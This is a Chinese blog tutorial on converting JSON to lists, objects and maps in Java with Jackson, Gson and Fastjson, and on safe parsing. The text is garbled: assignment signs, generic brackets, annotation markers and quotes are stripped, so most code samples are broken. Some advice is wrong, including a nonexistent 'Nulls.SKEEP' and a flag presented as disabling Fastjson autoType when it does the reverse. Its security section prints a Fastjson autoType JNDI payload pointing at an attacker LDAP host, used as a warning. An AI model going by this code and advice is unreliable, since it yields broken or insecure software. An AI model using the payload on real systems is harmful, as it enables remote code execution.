Java JSON转换实战:从List泛型陷阱到安全高效解析

发布时间:2026/8/8 15:28:23
Java JSON转换实战:从List泛型陷阱到安全高效解析 1. 从一次线上故障说起为什么JSON转换是基本功那天晚上十一点我正打算关电脑突然钉钉群里开始疯狂我。线上一个核心服务接口挂了错误日志刷了一屏核心报错信息是java.lang.ClassCastException: java.util.LinkedHashMap cannot be cast to com.xxx.UserDTO。看到这个我心里咯噔一下又是JSON转换惹的祸。开发同学在修复一个查询功能时为了图省事直接把一个复杂的嵌套JSON字符串用new Gson().fromJson(jsonStr, List.class)反序列化然后在后续逻辑里想当然地做强制类型转换结果在流量高峰时直接崩了。这个场景太典型了。JSON作为现代应用开发中事实上的数据交换标准从前后端接口、微服务间通信到配置文件、缓存数据无处不在。json转List、json转对象、json转JSONObject这几个操作听起来简单得不能再简单几乎是每个Java开发者第一天就会接触的东西。但正因为太基础很多人反而容易忽视其中的细节和陷阱觉得调用一个库方法就完事了直到在线上踩了坑才追悔莫及。实际上一次正确的JSON转换远不止是调用API。它涉及到序列化库的选型Jackson、Gson、Fastjson、泛型的处理、复杂嵌套结构的映射、日期和数字等特殊格式的定制、以及至关重要的——异常处理和空值安全。处理不好轻则数据错乱重则服务宕机。今天我就结合自己这些年踩过的坑和积累的经验把这几个最基础的转换场景掰开揉碎了讲清楚让你不仅能“转”出来更能明白背后发生了什么以及如何转得安全、高效。2. 基石理解你的序列化库与核心对象在动手写代码之前我们必须先搞清楚手头的“工具”和要处理的“材料”。不同的序列化库设计哲学不同对应的核心操作对象也不同用错了对象就像用螺丝刀去敲钉子费力不讨好。2.1 主流序列化库三巨头Jackson、Gson与Fastjson目前Java生态里最主流的三个JSON库是Jackson、Gson和阿里巴巴的Fastjson。它们各有优劣选型往往取决于项目历史、团队习惯和特定需求。Jackson是Spring Boot的默认选择也是业界事实上的标准。它的特点是功能强大、性能优异、社区活跃。Jackson的核心是ObjectMapper类几乎所有操作都围绕它进行。它的设计非常灵活提供了大量的注解如JsonProperty、JsonFormat和模块如Java 8日期时间模块jackson-datatype-jsr310来定制序列化行为。它的缺点是API在某些场景下稍显复杂默认配置可能不满足所有需求。// Jackson的核心ObjectMapper ObjectMapper objectMapper new ObjectMapper(); // 注册Java 8时间模块 objectMapper.registerModule(new JavaTimeModule()); // 设置日期格式 objectMapper.disable(SerializationFeature.WRITE_DATES_AS_TIMESTAMPS);Gson是Google出品以API简洁易用而闻名。它的核心类是Gson。Gson的哲学是“让它正常工作”很多配置都有比较合理的默认值。对于简单的POJOGson通常不需要任何注解就能很好地工作。它的代码量小适合移动端或对包大小敏感的场景。但在处理复杂泛型、某些高级特性如多态类型处理时可能不如Jackson强大。// Gson的核心Gson Gson gson new Gson(); // 创建带配置的Gson实例 Gson gsonWithConfig new GsonBuilder() .setDateFormat(yyyy-MM-dd HH:mm:ss) .create();Fastjson是阿里巴巴开源的库最大的卖点是速度快。在早期的性能评测中Fastjson的序列化/反序列化速度经常名列前茅。它的API也相对简单核心类是JSON。然而Fastjson在过去几年中曝出过多个安全漏洞导致很多对安全性要求较高的公司或项目特别是互联网大厂逐渐将其移出技术栈。虽然它仍在维护但选型时需要额外考虑安全风险。// Fastjson的核心静态方法 String jsonString JSON.toJSONString(object); Object obj JSON.parseObject(jsonString, User.class);个人建议与选择对于新项目尤其是Spring Boot项目无脑选择Jackson。它是生态的默认选择有最好的社区支持和文档性能也足够优秀。除非你有非常确切的理由比如遗留系统、对Gson的简洁性有强烈偏好否则Jackson是最稳妥、最不容易出错的选择。本文后续的示例也将主要使用Jackson。2.2 区分JSONObject、Map与ListMap这是最容易混淆的一组概念也是开头那个ClassCastException的罪魁祸首。MapString, Object(通常是LinkedHashMap) 这是Jackson或Gson在不知道目标类型时解析JSON对象后的默认容器。当你把一个JSON对象{name: 张三, age: 30}反序列化成Object类型或者原始的Map.class时得到的就是一个LinkedHashMap。它的键是字符串JSON的字段名值是对象可能是String, Integer, Boolean, 甚至是另一个LinkedHashMap或ArrayList。它没有固定的结构是“无类型”的动态对象。JSONObject 这是一个特定库提供的工具类。例如Fastjson有com.alibaba.fastjson.JSONObject早期版本的Jackson也有org.json.JSONObject这是一个不同的库。它本质上是对MapString, Object的一层封装提供了一些便捷的方法来存取数据比如getString(“key”)、getInteger(“key”)。它依然是无类型的但API更友好。注意不同库的JSONObject不兼容。YourPojo(你的业务对象) 这是有明确定义的Java类例如User、Order。它的字段名称和类型是固定的。反序列化的目标就是将一个JSON字符串的结构严格按照这个类的定义进行映射和填充。这是“有类型”的静态对象。ListMap与ListYourPojo 同理对应JSON数组。ListMap代表一个元素为动态对象的数组而ListYourPojo代表一个元素为固定类型对象的数组。核心误区纠正new Gson().fromJson(jsonStr, List.class)返回的实际上是一个ArrayListLinkedHashMap你如果把它强制转换成ListUser编译时不会报错因为泛型擦除但运行时一定会抛出ClassCastException因为你无法把LinkedHashMap实例塞进User类型的变量里。3. 场景一json转List – 当心泛型擦除的陷阱这是需求最高频也最容易出错的场景。比如从API接口拿到一个用户列表的JSON数据[{id:1, name:Alice}, {id:2, name:Bob}]我们想把它转成ListUser。3.1 错误示范与根因分析我们先看看最常见的错误写法// ❌ 错误写法1直接使用List.class String jsonArray [{\id\:1, \name\:\Alice\}, {\id\:2, \name\:\Bob\}]; ListUser userList objectMapper.readValue(jsonArray, List.class); // 编译警告运行时报错 // 实际运行时userList的类型是 ListLinkedHashMap无法当作ListUser使用。 // ❌ 错误写法2强制转换 ListUser userList (ListUser) objectMapper.readValue(jsonArray, List.class); // ClassCastException!问题出在Java的泛型擦除机制。在运行时List.class和ListUser.class的信息都被擦除成了原始的List。ObjectMapper.readValue()方法在只有List.class参数时无法知道列表中的元素应该是什么类型于是它就用默认的LinkedHashMap来填充列表。你得到一个ListLinkedHashMap却试图把它当成ListUser来用类型系统在运行时就会阻止你。3.2 正确方法使用TypeReference或JavaType为了解决泛型擦除问题Jackson提供了两种机制来在运行时保留完整的泛型信息。方法一使用TypeReference(最常用、最简洁)TypeReference是一个抽象类通过创建匿名内部类的方式巧妙地利用子类化来捕获泛型参数的实际类型。// ✅ 正确写法1使用 TypeReference String jsonArray [{\id\:1, \name\:\Alice\}, {\id\:2, \name\:\Bob\}]; ObjectMapper objectMapper new ObjectMapper(); ListUser userList objectMapper.readValue(jsonArray, new TypeReferenceListUser() {}); // 现在 userList 就是真正的 ListUser可以安全使用 for (User user : userList) { System.out.println(user.getName()); }方法二使用JavaType(更灵活适合动态构建类型)TypeReference在编译时就必须确定类型。如果你需要的类型是动态的比如根据配置决定可以使用TypeFactory来构建JavaType。// ✅ 正确写法2使用 JavaType (动态构建) ObjectMapper objectMapper new ObjectMapper(); // 构建 ListUser 的类型 JavaType listType objectMapper.getTypeFactory().constructCollectionType(List.class, User.class); String jsonArray [{\id\:1, \name\:\Alice\}, {\id\:2, \name\:\Bob\}]; ListUser userList objectMapper.readValue(jsonArray, listType); // 更复杂的例子构建 MapString, ListUser 的类型 JavaType complexType objectMapper.getTypeFactory().constructMapType(Map.class, String.class, listType); String complexJson {\departmentA\: [{\id\:1, \name\:\Alice\}]}; MapString, ListUser deptMap objectMapper.readValue(complexJson, complexType);Gson的对应方案TypeTokenGson提供了类似的TypeToken类来解决这个问题。// ✅ Gson的正确写法使用 TypeToken Gson gson new Gson(); String jsonArray [{\id\:1, \name\:\Alice\}, {\id\:2, \name\:\Bob\}]; ListUser userList gson.fromJson(jsonArray, new TypeTokenListUser(){}.getType());3.3 实战中的坑嵌套泛型与多态列表坑1多层嵌套的泛型比如你要转换的类型是ListListMapString, User。使用TypeReference依然是最清晰的方式。// 处理复杂嵌套泛型 String complexJson [[{\manager\: {\id\: 1, \name\: \Alice\}}]]; ListListMapString, User nestedList objectMapper.readValue( complexJson, new TypeReferenceListListMapString, User() {} );坑2列表元素是多态类型子类如果JSON数组里的对象对应不同的子类比如[{type: dog, bark: woof}, {type: cat, meow: miao}]期望转成ListAnimal。这就需要用到Jackson的多态类型处理注解JsonTypeInfo和JsonSubTypes在父类Animal上定义类型识别信息。这个专题较大但意识到这个“坑”的存在很重要当你的JSON里有一个像type这样的字段用于区分不同子类时就要考虑这个问题了。4. 场景二json转对象 – 不仅仅是字段映射将JSON对象转换为一个具体的Java POJO这是最直观的操作。但除了简单的字段名匹配还有很多细节需要处理。4.1 基础映射与注解使用假设我们有如下JSON和Java类{ user_name: zhangsan, user_age: 25, register_date: 2023-10-01 08:30:00, tags: [student, coder] }public class User { private String userName; // 驼峰命名 private Integer userAge; private LocalDateTime registerDate; // Java 8 时间类型 private ListString tags; // 省略 getter/setter }直接使用objectMapper.readValue(json, User.class)会失败因为字段名不匹配user_namevsuserName日期格式也不对。解决方案使用Jackson注解public class User { JsonProperty(user_name) // 指定JSON字段名 private String userName; JsonProperty(user_age) private Integer userAge; JsonFormat(pattern yyyy-MM-dd HH:mm:ss) // 指定日期格式 private LocalDateTime registerDate; private ListString tags; // 集合类型可以直接映射 // 必须注册JavaTimeModule: objectMapper.registerModule(new JavaTimeModule()); // 必须 getter/setter }常用注解一览JsonProperty: 定义序列化/反序列化的字段名。JsonFormat: 格式化日期、时间、数字。JsonIgnore: 忽略该字段不参与序列化和反序列化。JsonInclude: 控制序列化时何时包含该字段如非空、非默认值时才包含。JsonAlias: 为属性定义别名反序列化时多个JSON字段名可以映射到同一个属性上。4.2 处理未知字段与严格模式默认情况下Jackson在反序列化时如果JSON中有Java对象不存在的字段它会忽略这些字段。这通常是我们期望的行为。但有时我们希望有更严格的控制。ObjectMapper objectMapper new ObjectMapper(); // 严格模式遇到未知属性时抛出异常 objectMapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, true); // 宽松模式忽略未知属性默认 // objectMapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false);在类级别也可以用JsonIgnoreProperties注解JsonIgnoreProperties(ignoreUnknown true) // 忽略未知字段 public class User { // ... }什么时候用严格模式在对接外部关键API或处理核心业务数据时建议开启严格模式。这样如果对方接口字段名发生变更或你手误写错了字段名程序会立刻抛出异常而不是 silently 丢失数据有助于快速发现问题。4.3 构造对象无参构造器与JsonCreatorJackson默认通过无参构造器创建对象然后通过setter方法或直接字段反射来设置值。这是最常见的方式。但有些类可能没有无参构造器或者你希望反序列化时使用特定的构造器或工厂方法。这时可以使用JsonCreator注解。public class User { private final String name; // final 字段 private final int age; // 使用 JsonCreator 标注构造器 JsonCreator public User(JsonProperty(name) String name, JsonProperty(age) int age) { this.name name; this.age age; } // 省略 getter }这种方式对于设计为不可变immutable的类非常有用。4.4 空值、默认值与自定义反序列化空值处理JSON中的null默认会被映射为Java中的null。你可以通过JsonSetter(nulls Nulls.SKEEP)来保留null或者用JsonSetter(nulls Nulls.FAIL)让遇到null时直接失败。默认值如果JSON中缺少某个字段对应的Java字段会是默认值如null、0、false。你可以在字段声明时直接赋默认值或者使用JsonProperty(defaultValue “unknown”)注解注意这个注解主要对生成Schema或文档有用反序列化时不会自动填充默认值。更可靠的方法是在getter方法中处理。自定义反序列化器对于极其特殊的转换逻辑比如将一个字符串“YES“/”NO“转换成布尔值你可以实现一个JsonDeserializer。public class User { JsonDeserialize(using YesNoDeserializer.class) private Boolean active; } public class YesNoDeserializer extends JsonDeserializerBoolean { Override public Boolean deserialize(JsonParser p, DeserializationContext ctxt) throws IOException { String text p.getText(); return “YES“.equalsIgnoreCase(text); } }5. 场景三json转JSONObject/Map – 动态结构的处理并不是所有JSON数据都对应着预先定义好的POJO。在处理配置、动态表单、或不确定结构的第三方接口响应时我们常常需要将JSON解析为一个可以动态操作的结构这就是MapString, Object或库特定的JSONObject的用武之地。5.1 使用Map接收动态JSON对象这是最通用的方式不依赖任何特定的库除了Jackson或Gson本身。String dynamicJson “{\“name\“: \“张三\“, \“age\“: 30, \“extra\“: {\“hobby\“: \“coding\“, \“level\“: 5}}“; ObjectMapper objectMapper new ObjectMapper(); // 直接反序列化为 MapString, Object MapString, Object dataMap objectMapper.readValue(dynamicJson, new TypeReferenceMapString, Object() {}); // 访问数据 String name (String) dataMap.get(“name“); // 需要强制转换 Integer age (Integer) dataMap.get(“age“); // Integer不是int因为可能为null // 访问嵌套对象 MapString, Object extraMap (MapString, Object) dataMap.get(“extra“); String hobby (String) extraMap.get(“hobby“);注意事项类型转换从Map中取出的值都是Object类型你必须清楚地知道它应该是什么类型并进行强制转换。错误的转换会导致ClassCastException。空值安全dataMap.get(“key”)可能返回null。务必使用Optional或进行空值判断。路径访问对于深层嵌套的结构手动进行(Map)转换和get操作会很繁琐。可以考虑使用JsonPath库如Jayway JsonPath来直接查询。5.2 使用库特定的JSONObject以Fastjson为例JSONObject提供了比原生Map更便捷的API。// 使用Fastjson的JSONObject String dynamicJson “{\“name\“: \“张三\“, \“age\“: 30}“; JSONObject jsonObj JSON.parseObject(dynamicJson); // 注意这是Fastjson的类 String name jsonObj.getString(“name“); // 直接获取String内部处理转换 Integer age jsonObj.getInteger(“age“); // 直接获取Integer // 还有 getLong, getBoolean, getJSONObject获取嵌套对象, getJSONArray 等方法 // 转换成Map MapString, Object innerMap jsonObj.getInnerMap();优点API直观避免了大量的强制转换代码。缺点将你的代码与特定的JSON库如Fastjson绑定。如果未来想换用Jackson改动成本较大。5.3 动态访问的实用技巧与工具技巧1使用ObjectMapper的readTree方法Jackson提供了JsonNode树模型它比Map更强大提供了丰富的遍历和查询方法。String json “{\“name\“: \“张三\“, \“tags\“: [\“java\“, \“spring\“]}“; ObjectMapper mapper new ObjectMapper(); JsonNode rootNode mapper.readTree(json); // 获取字段值 String name rootNode.get(“name“).asText(); // “张三“ // 安全获取避免NPE String nameSafe rootNode.path(“name“).asText(); // 如果字段不存在path返回MissingNodeasText返回““ // 处理数组 JsonNode tagsNode rootNode.get(“tags“); if (tagsNode ! null tagsNode.isArray()) { for (JsonNode tag : tagsNode) { System.out.println(tag.asText()); } } // 检查字段是否存在及类型 if (rootNode.has(“age“) rootNode.get(“age“).isInt()) { int age rootNode.get(“age“).asInt(); }JsonNode是处理动态、只读JSON结构的利器特别适合做数据提取和校验。技巧2集成JsonPath进行查询对于非常复杂的嵌套JSON使用JsonPath可以像XPath查询XML一样方便。// 添加依赖com.jayway.jsonpath:json-path String json “{ \“store\“: { \“book\“: [ { \“title\“: \“Clean Code\“, \“price\“: 42 }, { \“title\“: \“Effective Java\“, \“price\“: 35 } ] } }“; // 读取所有书名 ListString titles JsonPath.read(json, “$.store.book[*].title“); // titles - [“Clean Code“, “Effective Java“] // 读取价格大于40的书 ListMapString, Object expensiveBooks JsonPath.read(json, “$.store.book[?(.price 40)]“);6. 进阶性能、安全与生产实践当把这些基础操作放到高并发、高可用的生产环境时我们还需要考虑更多。6.1 性能优化重用ObjectMapperObjectMapper的创建和配置尤其是注册模块、设置特性成本相对较高。绝对不要在每次序列化/反序列化时都new ObjectMapper()。最佳实践声明为静态单例在简单应用或工具类中。public class JsonUtils { private static final ObjectMapper MAPPER new ObjectMapper(); static { MAPPER.registerModule(new JavaTimeModule()); MAPPER.disable(SerializationFeature.WRITE_DATES_AS_TIMESTAMPS); } // 提供静态方法... }在Spring中注入Bean。Spring Boot会自动配置一个ObjectMapperBean你可以直接Autowired使用它也可以自定义一个Bean来覆盖默认配置。6.2 安全警示Fastjson的AutoType漏洞与防范Fastjson的autoType特性允许在反序列化时指定任意类型这本身是为了方便但却成了严重的安全漏洞的根源。攻击者可以构造恶意的JSON字符串在目标服务器上执行任意代码。漏洞原理简化版{“type”: “com.sun.rowset.JdbcRowSetImpl“, “dataSourceName”: “ldap://attacker.com/exp“, “autoCommit”: true}。Fastjson在反序列化时会根据type去实例化指定的类如果这个类的某些setter或构造器有危险操作如JNDI查找就可能触发远程代码执行。防范措施升级到最新安全版本Fastjson团队一直在修复相关漏洞务必使用最新版本。关闭AutoType这是最根本的。在1.2.68及以上版本可以通过配置ParserConfig.getGlobalInstance().setAutoTypeSupport(false);来全局关闭。或者使用JSON.parseObject(json, User.class, Feature.SupportAutoType)在每次调用时显示关闭。使用安全白名单如果业务必须使用AutoType务必配置ParserConfig.addAccept(“com.yourcompany.”)来限制只能反序列化可信包下的类。终极建议考虑迁移对于安全要求高的新项目直接使用Jackson或Gson是更稳妥的选择。6.3 日期与数字的格式化一致性日期和数字的格式不一致是联调中最常见的问题之一。日期前后端一定要约定好格式如yyyy-MM-dd‘T‘HH:mm:ss.SSS‘Z‘表示UTC时间。在Jackson中全局配置objectMapper.setDateFormat(new SimpleDateFormat(“yyyy-MM-dd HH:mm:ss”))或在具体的字段上用JsonFormat注解。大数字JavaScript的Number类型是双精度浮点数能安全表示的整数范围是-2^531到2^53-1大约±9e15。超过这个范围的Long类型数字如Java的Long.MAX_VALUE是9223372036854775807在传给前端时可能会丢失精度。解决方案是将其作为字符串传递。Jackson中可以用JsonFormat(shape JsonFormat.Shape.STRING)注解在字段上或者全局配置objectMapper.configure(JsonGenerator.Feature.WRITE_NUMBERS_AS_STRINGS, true)谨慎使用会影响所有数字。6.4 异常处理如何优雅地应对解析失败永远不要假设接收到的JSON是完美的。网络传输错误、上游系统bug、恶意请求都可能导致JSON格式错误。public T T safeReadValue(String jsonStr, ClassT clazz) { if (jsonStr null || jsonStr.trim().isEmpty()) { // 根据业务逻辑返回null或抛出业务异常 return null; } try { return objectMapper.readValue(jsonStr, clazz); } catch (JsonProcessingException e) { // JsonProcessingException 是Jackson解析异常的父类 // 包括 JsonParseException格式错误, JsonMappingException映射错误 log.error(“JSON解析失败原始字符串: {}“, jsonStr, e); // 抛出统一的业务异常或者返回一个默认值 throw new BusinessException(“数据格式错误“, e); } catch (IOException e) { // readValue方法签名抛IOException但通常不会发生 log.error(“IO异常“, e); throw new RuntimeException(e); } }关键点区分异常类型JsonParseException意味着JSON本身语法错误JsonMappingException意味着JSON语法正确但无法映射到目标对象如类型不匹配、缺少构造器等。在日志中区分它们有助于快速定位问题。记录原始数据在catch块中一定要将出错的原始jsonStr记录下来注意脱敏这是排查线上问题的黄金线索。定义业务友好的异常不要直接把库的异常抛给上层。封装成业务异常并给出友好的错误提示。7. 总结与个人工具箱分享回顾一下从最基础的json转List、json转对象、json转Map/JSONObject到背后的泛型擦除、库的选型、注解的使用、动态处理、性能安全每一个简单的操作背后都有值得深究的细节。我个人在日常开发中形成了这样一套习惯库选择Spring Boot项目用Jackson安卓或小型工具用Gson。新项目慎用Fastjson。对象映射优先定义明确的POJO并使用Jackson注解JsonProperty,JsonFormat来精确控制映射关系。保持POJO的整洁和文档化。处理List永远使用new TypeReferenceListMyType() {}对泛型擦除保持警惕。处理动态JSON优先使用Jackson的JsonNode进行只读操作需要修改时再用MapString, Object。避免在业务代码中直接使用特定库的JSONObject。配置管理ObjectMapper单例化并根据项目需求做好全局配置日期格式、空值处理、未知属性策略。异常与日志JSON解析必加try-catch并记录原始错误数据。安全定期检查依赖库版本特别是Fastjson。最后再分享一个我常用的“瑞士军刀”式的JSON工具方法它处理了空值、异常并支持灵活的类型指定public class JsonUtil { private static final ObjectMapper MAPPER new ObjectMapper() .registerModule(new JavaTimeModule()) .disable(SerializationFeature.WRITE_DATES_AS_TIMESTAMPS) .configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false); // 根据业务决定 /** * 安全地将对象序列化为JSON字符串 */ public static String toJson(Object obj) { if (obj null) { return null; } try { return MAPPER.writeValueAsString(obj); } catch (JsonProcessingException e) { log.error(“对象序列化为JSON失败: {}“, obj, e); throw new RuntimeException(“JSON序列化异常“, e); } } /** * 安全地将JSON字符串反序列化为指定类型的对象 */ public static T T fromJson(String jsonStr, ClassT clazz) { if (StringUtils.isBlank(jsonStr)) { return null; } try { return MAPPER.readValue(jsonStr, clazz); } catch (JsonProcessingException e) { log.error(“JSON反序列化失败目标类型: {}, 原始字符串: {}“, clazz, jsonStr, e); throw new RuntimeException(“JSON反序列化异常“, e); } } /** * 安全地将JSON字符串反序列化为带泛型的对象如List, Map */ public static T T fromJson(String jsonStr, TypeReferenceT typeReference) { if (StringUtils.isBlank(jsonStr)) { return null; } try { return MAPPER.readValue(jsonStr, typeReference); } catch (JsonProcessingException e) { log.error(“JSON反序列化失败目标类型: {}, 原始字符串: {}“, typeReference.getType(), jsonStr, e); throw new RuntimeException(“JSON反序列化异常“, e); } } /** * 将JSON字符串解析为JsonNode用于动态查询 */ public static JsonNode readTree(String jsonStr) { if (StringUtils.isBlank(jsonStr)) { return null; } try { return MAPPER.readTree(jsonStr); } catch (JsonProcessingException e) { log.error(“JSON解析为JsonNode失败原始字符串: {}“, jsonStr, e); throw new RuntimeException(“JSON解析异常“, e); } } }这套方法和习惯帮我避开了无数个大大小小的坑。希望这篇详解也能成为你手中一把趁手的工具让JSON转换这件事从此变得清晰、可靠。